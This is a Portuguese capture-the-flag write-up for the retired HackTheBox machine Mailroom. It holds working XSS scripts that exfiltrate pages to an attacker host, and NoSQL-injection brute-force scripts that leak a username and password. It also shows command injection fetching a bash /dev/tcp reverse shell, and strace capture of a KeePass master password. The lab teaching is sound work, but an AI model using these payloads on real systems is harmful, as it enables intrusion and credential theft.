HackTheBox — Writeup Mailroom [Retired]

Hackthebox

Guilherme Martins
14 min readAug 20, 2023

Neste writeup vamos explorar uma máquina de nivel hard que aborda as seguintes vulnerabilidades e técnicas:

  • Cross Site Scripting (XSS)
  • Análise de código fonte
  • NoSQL Injection e Brute Force
  • Command Injection
  • Process Debugging (CVE-2023–3278)

Recon, primeiras vulnerabilidades e primeiro shell:

Primeiramente iremos realizar um scan de portas utilizando o nmap:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/mailroom]
└─# nmap -sV --open -Pn 10.129.183.238
Starting Nmap 7.93 ( <https://nmap.org> ) at 2023-05-12 15:42 EDT
Nmap scan report for 10.129.183.238
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.54 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vimos que somente as portas web 80 e ssh 22 estão abertas, logo vamos acessar o ip:porta web para visualizar seu conteúdo:

Um site empresárial…

Analisando o site notamos a seguinte url:

Vamos adicionar em nosso /etc/hosts

Um site empresarial, que contém diversas abas. Dentre elas encontramos uma que nos interessa chamada Contacts no qual temos podemos enviar um formulário por email:

Ao enviar um formulário nos é gerado um link de uma página html informando que os dados foram enviados.

Aqui podemos verificar se conseguimos algum tipo de XSS. Para isso vamos utilizar um simples alert() em Inquiry Title e Inquiry Message, desta forma podemos identificar em qual campo acontece a execução de código.

E com isso temos o resultado positivo para os dois campos:

Inquiry Title
Inquiry Message

Antes de proceder em tentativas de execução de código javascript vamos nos atentar a outro item encontrado durante o recon.

Realizando uma busca por subdomínios temos o seguinte resultado:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/mailroom]
└─# wfuzz -w /usr/share/spiderfoot/spiderfoot/dicts/subdomains-10000.txt -H "Host: FUZZ.mailroom.htb" -t 100 10.129.183.238
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: <http://10.129.183.238/>
Total requests: 9985
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000152: 200 267 L 1181 W 13089 Ch "git"

Ao acessar git.mailroom.htb temos um git chamado gitea aberto e que possui somente um repositório público:

matthew/staffroom

Através do git clone iremos analisar o conteúdo deste repositório.

Temos diversos pontos para levantar no conteúdo deste repositório.

No arquivo index.php vimos que para acessar a página é necessário um email e senha através de uma requisição POST:

// Send a POST request to the login.php script
fetch('/auth.php', {
method: 'POST',
body: new URLSearchParams(new FormData(form)),
headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
}).then(response => {
return response.json();

Que por sua vez é validado no mongodb no arquivo auth.php:

session_start(); // Start a session
$client = new MongoDB\\Client("mongodb://mongodb:27017"); // Connect to the MongoDB database
header('Content-Type: application/json');
if (!$client) {
header('HTTP/1.1 503 Service Unavailable');
echo json_encode(['success' => false, 'message' => 'Failed to connect to the database']);
exit;
}
$collection = $client->backend_panel->users; // Select the users collection

Podemos verificar se aqui encontramos um NoSQL Injection.

Após isso vem a parte de 2FA, que é enviado para o email:

// Authenticate user & Send 2FA if valid
if (isset($_POST['email']) && isset($_POST['password'])) {
// Verify the parameters are valid
if (!is_string($_POST['email']) || !is_string($_POST['password'])) {
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
}
// Check if the email and password are correct
$user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]);
if ($user) {
// Generate a random UUID for the 2FA token
$token = bin2hex(random_bytes(16));
$now = time();
// Update the user record in the database with the 2FA token if not already sent in the last minute
$user = $collection->findOne(['_id' => $user['_id']]);
if(($user['2fa_token'] && ($now - $user['token_creation']) > 60) || !$user['2fa_token']) {
$collection->updateOne(
['_id' => $user['_id']],
['$set' => ['2fa_token' => $token, 'token_creation' => $now]]
);
// Send an email to the user with the 2FA token
$to = $user['email'];
$subject = '2FA Token';
$message = 'Click on this link to authenticate: <http://staff-review-panel.mailroom.htb/auth.php?token=>' . $token;
mail($to, $subject, $message);
}
// Return a JSON response notifying about 2fa
echo json_encode(['success' => true, 'message' => 'Check your inbox for an email with your 2FA token']);
exit;
} else {
// Return a JSON error response
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid email or password']);
}
}

Também a referência a um subdomínio, que ao acessarmos temos um status code 403, ou seja, não temos autorização para acessar:

http://staff-review-panel.mailroom.htb/

Para acessar esta subdomínio precisamos estar logados e com o 2FA autorizando nosso acesso, bem interessante.

Outro ponto interessante é que existe o arquivo inspect.php que contém um Command Injection devido a uma falta de sanitização:

if (isset($_POST['inquiry_id'])) {
$inquiryId = preg_replace('/[\\$<>;|&{}\\(\\)\\[\\]\\'\\"]/', '', $_POST['inquiry_id']);
$contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");
// Parse the data between and </p>
$start = strpos($contents, '<p class="lead mb-0">');
if ($start === false) {
// Data not found
$data = 'Inquiry contents parsing failed';
} else {
$end = strpos($contents, '</p>', $start);
$data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));
}
}
$status_data = '';
if (isset($_POST['status_id'])) {
$inquiryId = preg_replace('/[\\$<>;|&{}\\(\\)\\[\\]\\'\\"]/', '', $_POST['status_id']);
$contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");
// Parse the data between and </p>
$start = strpos($contents, '<p class="lead mb-1">');
if ($start === false) {
// Data not found
$status_data = 'Inquiry contents parsing failed';
} else {
$end = strpos($contents, '</p>', $start);
$status_data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));
}
}

Por duas vezes é utilizado shell_exec, que podemos realizar um command injection.

shell_exec(“cat /var/www/mailroom/inquiries/$inquiryId.html”);

Para isso precisamos de acesso ao subdomínio descoberto.

Vamos tentar utilizar o XSS para ver se conseguimos acesso ao subdomínio que encontramos através de um script utilizando javascript

Para isso vamos utilizar a lib XMLHttpRequest para enviar requests e receber as responses, no cenário em que estamos conseguimos executar nosso código, porém não temos um retorno. Neste caso o retorno será recebido em um servidor local python.

Para conseguir visualizar o retorno conseguimos utilizar o onload da lib XMLHttpRequest, que é ativado quando o resultado anterior ocorreu com sucesso.

  • script.js:
var http = new XMLHttpRequest();
http.open('POST', "<http://staff-review-panel.mailroom.htb/auth.php>", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
fetch("<http://10.10.14.39/out?"> + encodeURI(btoa(this.responseText)));
};
http.send(null);

É enviado um POST para auth.php com o header setado. Caso o retorno seja positivo iremos enviar um fetch para nosso servidor python local.

A url e retorno vão e voltam encodados sendo necessário desencodar.

Primeiro iremos subir o servidor python para receber a requisição em nosso script chamado script.js e também o retorno:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/mailroom]
└─# python3 -m http.server 80

Agora precisamos enviar um payload no formulário de forma que execute nosso script.js. É recomendado enviar utilizando o burp suite pois será necessário realizar diversas requisições.

Esse é o request body no burp suite:

email=test@test.com&title=test&message=<script src="<http://10.10.14.39/script.js>"></script>

Ao enviar temos três requisições consecutivas temos o seguinte retorno:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/mailroom]
└─# python3 -m http.server 80
10.129.183.238 - - [13/May/2023 08:44:51] "GET /script.js HTTP/1.1" 200 -
10.129.183.238 - - [13/May/2023 08:44:52] code 404, message File not found
10.129.183.238 - - [13/May/2023 08:44:52] "GET /out?CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+Cgo8aGVhZD4KICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4KICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iIC8+CiAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IiIgLz4KICA8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9IiIgLz4KICA8dGl0bGU+SW5xdWlyeSBSZXZpZXcgUGFuZWw8L3RpdGxlPgogIDwhLS0gRmF2aWNvbi0tPgogIDxsaW5rIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UveC1pY29uIiBocmVmPSJhc3NldHMvZmF2aWNvbi5pY28iIC8+CiAgPCEtLSBCb290c3RyYXAgaWNvbnMtLT4KICA8bGluayBocmVmPSJmb250L2Jvb3RzdHJhcC1pY29ucy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgLz4KICA8IS0tIENvcmUgdGhlbWUgQ1NTIChpbmNsdWRlcyBCb290c3RyYXApLS0+CiAgPGxpbmsgaHJlZj0iY3NzL3N0eWxlcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgLz4KPC9oZWFkPgoKPGJvZHk+CiAgPGRpdiBjbGFzcz0id3JhcHBlciBmYWRlSW5Eb3duIj4KICAgIDxkaXYgaWQ9ImZvcm1Db250ZW50Ij4KCiAgICAgIDwhLS0gTG9naW4gRm9ybSAtLT4KICAgICAgPGZvcm0gaWQ9J2xvZ2luLWZvcm0nIG1ldGhvZD0iUE9TVCI+CiAgICAgICAgPGgyPlBhbmVsIExvZ2luPC9oMj4KICAgICAgICA8aW5wdXQgcmVxdWlyZWQgdHlwZT0idGV4dCIgaWQ9ImVtYWlsIiBjbGFzcz0iZmFkZUluIHNlY29uZCIgbmFtZT0iZW1haWwiIHBsYWNlaG9sZGVyPSJFbWFpbCI+CiAgICAgICAgPGlucHV0IHJlcXVpcmVkIHR5cGU9InBhc3N3b3JkIiBpZD0icGFzc3dvcmQiIGNsYXNzPSJmYWRlSW4gdGhpcmQiIG5hbWU9InBhc3N3b3JkIiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJmYWRlSW4gZm91cnRoIiB2YWx1ZT0iTG9nIEluIj4KICAgICAgICA8cCBoaWRkZW4gaWQ9Im1lc3NhZ2UiIHN0eWxlPSJjb2xvcjogIzhGOEY4RiI+T25seSBzaG93IHRoaXMgbGluZSBpZiByZXNwb25zZSAtIGVkaXQgY29kZTwvcD4KICAgICAgPC9mb3JtPgoKICAgICAgPCEtLSBSZW1pbmQgUGFzc293cmQgLS0+CiAgICAgIDxkaXYgaWQ9ImZvcm1Gb290ZXIiPgogICAgICAgIDxhIGNsYXNzPSJ1bmRlcmxpbmVIb3ZlciIgaHJlZj0icmVnaXN0ZXIuaHRtbCI+Q3JlYXRlIGFuIGFjY291bnQ8L2E+CiAgICAgIDwvZGl2PgoKICAgIDwvZGl2PgogIDwvZGl2PgoKICA8IS0tIEJvb3RzdHJhcCBjb3JlIEpTLS0+CiAgPHNjcmlwdCBzcmM9ImpzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzIj48L3NjcmlwdD4KCiAgPCEtLSBMb2dpbiBGb3JtLS0+CiAgPHNjcmlwdD4KICAgIC8vIEdldCB0aGUgZm9ybSBlbGVtZW50CiAgICBjb25zdCBmb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ2luLWZvcm0nKTsKCiAgICAvLyBBZGQgYSBzdWJtaXQgZXZlbnQgbGlzdGVuZXIgdG8gdGhlIGZvcm0KICAgIGZvcm0uYWRkRXZlbnRMaXN0ZW5lcignc3VibWl0JywgZXZlbnQgPT4gewogICAgICAvLyBQcmV2ZW50IHRoZSBkZWZhdWx0IGZvcm0gc3VibWlzc2lvbgogICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwoKICAgICAgLy8gU2VuZCBhIFBPU1QgcmVxdWVzdCB0byB0aGUgbG9naW4ucGhwIHNjcmlwdAogICAgICBmZXRjaCgnL2F1dGgucGhwJywgewogICAgICAgIG1ldGhvZDogJ1BPU1QnLAogICAgICAgIGJvZHk6IG5ldyBVUkxTZWFyY2hQYXJhbXMobmV3IEZvcm1EYXRhKGZvcm0pKSwKICAgICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyB9CiAgICAgIH0pLnRoZW4ocmVzcG9uc2UgPT4gewogICAgICAgIHJldHVybiByZXNwb25zZS5qc29uKCk7CgogICAgICB9KS50aGVuKGRhdGEgPT4gewogICAgICAgIC8vIERpc3BsYXkgdGhlIG5hbWUgYW5kIG1lc3NhZ2UgaW4gdGhlIHBhZ2UKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbWVzc2FnZScpLnRleHRDb250ZW50ID0gZGF0YS5tZXNzYWdlOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwYXNzd29yZCcpLnZhbHVlID0gJyc7CiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ21lc3NhZ2UnKS5yZW1vdmVBdHRyaWJ1dGUoImhpZGRlbiIpOwogICAgICB9KS5jYXRjaChlcnJvciA9PiB7CiAgICAgICAgLy8gRGlzcGxheSBhbiBlcnJvciBtZXNzYWdlCiAgICAgICAgLy9hbGVydCgnRXJyb3I6ICcgKyBlcnJvcik7CiAgICAgIH0pOwogICAgfSk7CiAgPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPg== HTTP/1.1" 404 -

Ao desencodar o base64 vimos que o retorno é exatamente a mesma página que temos do repositório, significa que podemos explorar com base no que encontramos anteriormente.

Agora que conseguimos bater no subdomínio podemos utilizar disto para tentar a autenticação. Para isso vamos alterar nosso script visando explorar o NoSQL Injection!

Foi utilizado esse material para execução dos próximos passos:

Vamos criar o script chamado scriptsql.js com o seguinte conteúdo:

var http = new XMLHttpRequest();
http.open('POST', "<http://staff-review-panel.mailroom.htb/auth.php>", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
fetch("<http://10.10.14.39/out?"> + encodeURI(btoa(this.responseText)));
};
http.send("email[$ne]=mrtns@mrtns.mrtns&password[$ne]=mrtns");

Ao contrário do primeiro script este envia parâmetros para o auth.php, basicamente um valor para o email e outra para a senha para relizar o NoSQL Injection. Estamos informando acima que:

username[$ne]=1$password[$ne]=1 #<Not Equals>

Com isso conseguimos “logar”.

Lembrando de alterar o nome a ser carregado no burp suite e enviar a requisição mais de uma vez até ter o retorno correto em nosso servidor python.

E temos o seguinte retorno:

10.129.183.238 - - [13/May/2023 08:50:14] "GET /scriptsql.js HTTP/1.1" 200 -
10.129.183.238 - - [13/May/2023 08:50:15] code 404, message File not found
10.129.183.238 - - [13/May/2023 08:50:15] "GET /out?eyJzdWNjZXNzIjpmYWxzZSwibWVzc2FnZSI6IkludmFsaWQgaW5wdXQgZGV0ZWN0ZWQifXsic3VjY2VzcyI6dHJ1ZSwibWVzc2FnZSI6IkNoZWNrIHlvdXIgaW5ib3ggZm9yIGFuIGVtYWlsIHdpdGggeW91ciAyRkEgdG9rZW4ifQ== HTTP/1.1" 404 -

Realizando o decode do base64 temos:

──(root㉿kali)-[~kali/hackthebox/machines-linux/mailroom]
└─# echo -n "eyJzdWNjZXNzIjpmYWxzZSwibWVzc2FnZSI6IkludmFsaWQgaW5wdXQgZGV0ZWN0ZWQifXsic3VjY2VzcyI6dHJ1ZSwibWVzc2FnZSI6IkNoZWNrIHlvdXIgaW5ib3ggZm9yIGFuIGVtYWlsIHdpdGggeW91ciAyRkEgdG9rZW4ifQ==" | base64 -d
{"success":false,"message":"Invalid input detected"}{"success":true,"message":"Check your inbox for an email with your 2FA token"}

Conseguimos confirmar o NoSQL Injection com isso conseguimos mapear. conteúdo através de um brute force. Para isso foi utilizado como base um repositório no github chamado PayloadAllTheThings:

Com isso temos o script pwneduser.js com o seguinte conteúdo:

async function callAuth(mail) {
var http = new XMLHttpRequest();
http.open('POST', "<http://staff-review-panel.mailroom.htb/auth.php>", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
if (/"success":true/.test(this.responseText)) {
notify(mail);
cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\"#$%'()+, -/:;<=>@[\\]_`{}~", mail);
}
};
http.send("email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc");
}
function notify(mail) {
fetch("<http://10.10.14.39/out?"> + mail);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\"#$%'()+, -/:;<=>@[\\]_`{}~";
function cal(chars, mail) {
for (var i = 0; i < chars.length; i++) {
callAuth(chars[i] + mail)
}
}
cal(chars);

Vamos executar da mesma forma que os anteriores. Um item importante é que nos é retornado somente três letras por vez e volta a repetir.

10.129.183.238 - - [13/May/2023 09:25:51] "GET /pwneduser.js HTTP/1.1" 200 -
10.129.183.238 - - [13/May/2023 09:25:55] code 404, message File not found
10.129.183.238 - - [13/May/2023 09:25:55] "GET /out?n HTTP/1.1" 404 -
10.129.183.238 - - [13/May/2023 09:25:55] code 404, message File not found
10.129.183.238 - - [13/May/2023 09:25:55] "GET /out?an HTTP/1.1" 404 -
10.129.183.238 - - [13/May/2023 09:25:57] code 404, message File not found
10.129.183.238 - - [13/May/2023 09:25:57] "GET /out?tan HTTP/1.1" 404 -

Devido a isso iremos alterar a cal no fim de nosso script e adicionar as letras que encontramos:

cal(chars, "tan");

E com isso temos o usuário completo:

10.129.183.238 - - [13/May/2023 09:28:51] code 404, message File not found
10.129.183.238 - - [13/May/2023 09:28:51] "GET /out?stan HTTP/1.1" 404 -
10.129.183.238 - - [13/May/2023 09:29:13] code 404, message File not found
10.129.183.238 - - [13/May/2023 09:29:13] "GET /out?ristan HTTP/1.1" 404 -
10.129.183.238 - - [13/May/2023 09:29:29] code 404, message File not found
10.129.183.238 - - [13/May/2023 09:29:29] "GET /out?istan HTTP/1.1" 404 -
10.129.183.238 - - [13/May/2023 09:29:37] code 404, message File not found
10.129.183.238 - - [13/May/2023 09:29:37] "GET /out?tristan HTTP/1.1" 404 -

Para realizar o brute force da senha iremos criar outro script similar ao do usuário, com a execução tendo três caracteres por vez.

async function callAuth(pass) {
var http = new XMLHttpRequest();
http.open('POST', "<http://staff-review-panel.mailroom.htb/auth.php>", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
if (/"success":true/.test(this.responseText)) {
notify(pass);
cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\"#$%'()+, -/:;<=>@[\\]_`{}~", pass);
}
};
http.send("email=tristan@mailroom.htb&password[$regex]=^"+pass);
}
function notify(pass) {
fetch("<http://10.10.14.39/out?"> + pass);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\"#$%'()+, -/:;<=>@[\\]_`{}~";
function cal(chars, pass) {
for (var i = 0; i < chars.length; i++) {
callAuth(pass+chars[i])
}
}
cal(chars);

Conseguimos os primeiro caracteres nesse primeiro retorno:

10.129.183.238 - - [13/May/2023 09:47:47] "GET /pwnedpass.js HTTP/1.1" 200 -
10.129.183.238 - - [13/May/2023 09:47:53] code 404, message File not found
10.129.183.238 - - [13/May/2023 09:47:53] "GET /out?69tr HTTP/1.1" 404 -
10.129.183.238 - - [13/May/2023 09:48:09] code 404, message File not found
10.129.183.238 - - [13/May/2023 09:48:09] "GET /out?69tri HTTP/1.1" 404 -
10.129.183.238 - - [13/May/2023 09:48:13] code 404, message File not found
10.129.183.238 - - [13/May/2023 09:48:13] "GET /out?69tris HTTP/1.1" 404 -

Adicionando os caracteres no script assim como fizemos com o usuário e rodando novamente temos mais retorno:

10.129.183.238 - - [13/May/2023 10:11:10] code 404, message File not found
10.129.183.238 - - [13/May/2023 10:11:10] "GET /out?69trisRulez HTTP/1.1" 404 -
10.129.183.238 - - [13/May/2023 10:11:16] code 404, message File not found
10.129.183.238 - - [13/May/2023 10:11:16] "GET /out?69trisRule HTTP/1.1" 404 -
10.129.183.238 - - [13/May/2023 10:11:35] "GET /pwnedpass.js HTTP/1.1" 200 -
10.129.183.238 - - [13/May/2023 10:11:41] "GET /pwnedpass.js HTTP/1.1" 200 -
10.129.183.238 - - [13/May/2023 10:11:47] code 404, message File not found
10.129.183.238 - - [13/May/2023 10:11:47] "GET /out?69trisRulxxx HTTP/1.1" 404 -
10.129.183.238 - - [13/May/2023 10:12:07] code 404, message File not found
10.129.183.238 - - [13/May/2023 10:12:07] "GET /out?69trisRxxxx HTTP/1.1" 404 -
10.129.183.238 - - [13/May/2023 10:12:11] code 404, message File not found
10.129.183.238 - - [13/May/2023 10:12:11] "GET /out?69trisRxxxxx HTTP/1.1" 404 -

Este procedimento é demorado e requer bastante paciência para conseguir visualizar os dados de retorno corretamente.

Agora temos um usuário (tristan) e senha (69trisRxxxxx) que ao testarmos vimos que são válidos para acesso via ssh**.**

tristan@mailroom:/home/tristan$ ls -alh
total 28K
drwxr-xr-x 4 tristan tristan 4.0K Jan 15 16:29 .
drwxr-xr-x 4 root root 4.0K Jan 15 15:45 ..
lrwxrwxrwx 1 tristan tristan 9 Jan 15 15:48 .bash_history -> /dev/null
-rw-r--r-- 1 tristan tristan 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 tristan tristan 3.7K Feb 25 2020 .bashrc
drwx------ 2 tristan tristan 4.0K Jan 15 15:44 .cache
-rw-r--r-- 1 tristan tristan 807 Feb 25 2020 .profile
drwx------ 2 tristan tristan 4.0K Jan 15 15:44 .ssh
lrwxrwxrwx 1 tristan tristan 9 Jan 15 16:29 .viminfo -> /dev/null

No entanto vimos que o usuário tristan não possui a user flag, significa que precisamos escalar para o outro usuário que possui acesso a um shell além de tristan e root: matthew

Pivoting de usuário

Vamos verificar se o tristan recebeu o email com acesso ao subdomínio staff-review-panel.mailroom.htb.

tristan@mailroom:~$ cat /var/mail/tristan
Return-Path: <noreply@mailroom.htb>
X-Original-To: tristan@mailroom.htb
Delivered-To: tristan@mailroom.htb
Received: from localhost (unknown [172.19.0.5])
by mailroom.localdomain (Postfix) with SMTP id E2459C57C
for <tristan@mailroom.htb>; Sat, 13 May 2023 14:13:47 +0000 (UTC)
Subject: 2FA
Click on this link to authenticate: <http://staff-review-panel.mailroom.htb/auth.php?token=1cf5803712ca9f2596a8584bd4590e85>
From noreply@mailroom.htb Sat May 13 14:22:46 2023
Return-Path: <noreply@mailroom.htb>
X-Original-To: tristan@mailroom.htb
Delivered-To: tristan@mailroom.htb
Received: from localhost (unknown [172.19.0.5])
by mailroom.localdomain (Postfix) with SMTP id 0401D1C51
for <tristan@mailroom.htb>; Sat, 13 May 2023 14:22:46 +0000 (UTC)
Subject: 2FA
Click on this link to authenticate: <http://staff-review-panel.mailroom.htb/auth.php?token=646e8b9410a1c5c69b16920d80881703>

Acessando o link com o token temos acesso ao subdomínio.

Agora podemos utilizar o Command Injection que vimos em inspect.php para realizar o download de um reverse shell através do nosso servidor python.

Primeiro criamos o rev.sh com seguinte conteúdo:

sh -i 5<> /dev/tcp/10.10.14.39/9001 0<&5 1>&5 2>&5

Agora iremos utilizar executar nossos comandos entre da seguinte forma para que sejam aceitos pelo shell_exec:

Download do reverse shell

Utilizamos o netcat ouvindo na porta 9001 e executamos o revershe shell:

Executando reverse shell

E temos um novo shell como usuário www-data:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/mailroom]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.39] from (UNKNOWN) [10.129.183.238] 49390
sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

E analisando os arquivos do diretório em que estamos vemos arquivo de configuração do git encontramos uma senha para o usuário matthew.

$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = <http://matthew:HueLovxxxxxxx@gitea:3000/matthew/staffroom.git>
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
[user]
email = matthew@mailroom.htb

Com isso voltamos nos shell em que estamos como o usuário tristan e tentamos alterar para o usuário matthew:

tristan@mailroom:~$ su matthew
Password:
matthew@mailroom:/home/tristan$

Com isso conseguimos a user flag:

matthew@mailroom:/home/tristan$ cd ~
matthew@mailroom:~$ ls -a
. .. .bash_history .bash_logout .bashrc .cache .kpcli-history personal.kdbx .profile user.txt .viminfo
matthew@mailroom:~$ cat user.txt
5dd17cebf8cee5fxxxxxxxxxxxxxxxxxx

Escalação de privilégios e root flag

Agora que conseguimos a user flag precisamos achar um meio de escalar privilégios para root, ou conseguir tais permissões com nosso usuário.

Na home do usuário matthew temos um arquivo interessante que vimos acima, chamado personal.kdbx

Esse arquivo se trata de um vault do keepass:

Analisando os processos rodando encontramos um interessante:

matthew 94862 83214 09:29 ?  00:00:00 /usr/bin/perl /usr/bin/kpcli

Recentemente foi descoberta uma nova vulnerabilidade no KeePass (CVE-2023–3278) no qual conseguimos buscar em texto plano a senha master através da memória, estando o userspace do usuário bloqueado ou não.

Podemos utilizar o strace para tentar buscar esta informação em memória na execução desse processo. O strace é utilizado para realizar diagnósticos, debugging e leitura no userpace no linux.

Ao executar ele no processo do kpcli temos o seguinte retorno:

matthew@mailroom:~$ strace -p `ps -ef | grep kpcli | grep perl | awk '{print $2}'` > result-strace.log
read(0, "!", 8192) = 1
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "s", 8192) = 1
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "E", 8192) = 1
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "c", 8192) = 1
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "U", 8192) = 1
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "r", 8192) = 1
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "3", 8192) = 1
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "p", 8192) = 1
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "4", 8192) = 1
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "$", 8192) = 1
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "$", 8192) = 1
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "w", 8192) = 1
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "0", 8192) = 1
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "1", 8192) = 1
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "\\10", 8192) = 1
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "r", 8192) = 1
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x56271bfb13b0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "d", 8192) = 1

Note que onde possui read(0, “x”, 8192) existe um pedaço da senha utilizada para acessar esse vault. O strace nos exibe informações sobre como foi executado o processo e através do arquivo de log que geramos é possível resgatar a senha:

!sEcUr3p4xxxxxxx

Com essa senha podemos acessar o conteúdo do arquivo usando kpcli:

matthew@mailroom:~$ kpcli --kdb personal.kdbx
Please provide the master password: *************************
KeePass CLI (kpcli) v3.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.
kpcli:/> ls
=== Groups ===
Root/
kpcli:/> ls Root/
=== Entries ===
0. food account door.dash.local
1. GItea Admin account git.mailroom.htb
2. gitea database password
3. My Gitea Account git.mailroom.htb
4. root acc
kpcli:/> show -f 4
Title: root acc
Uname: root
Pass: a$gBaxxxxx
URL:
Notes: root account for sysadmin jobs

Com essa senha conseguimos logar como root e buscar a root flag:

matthew@mailroom:~$ su root
Password:
root@mailroom:/home/matthew# cat /root/root.txt
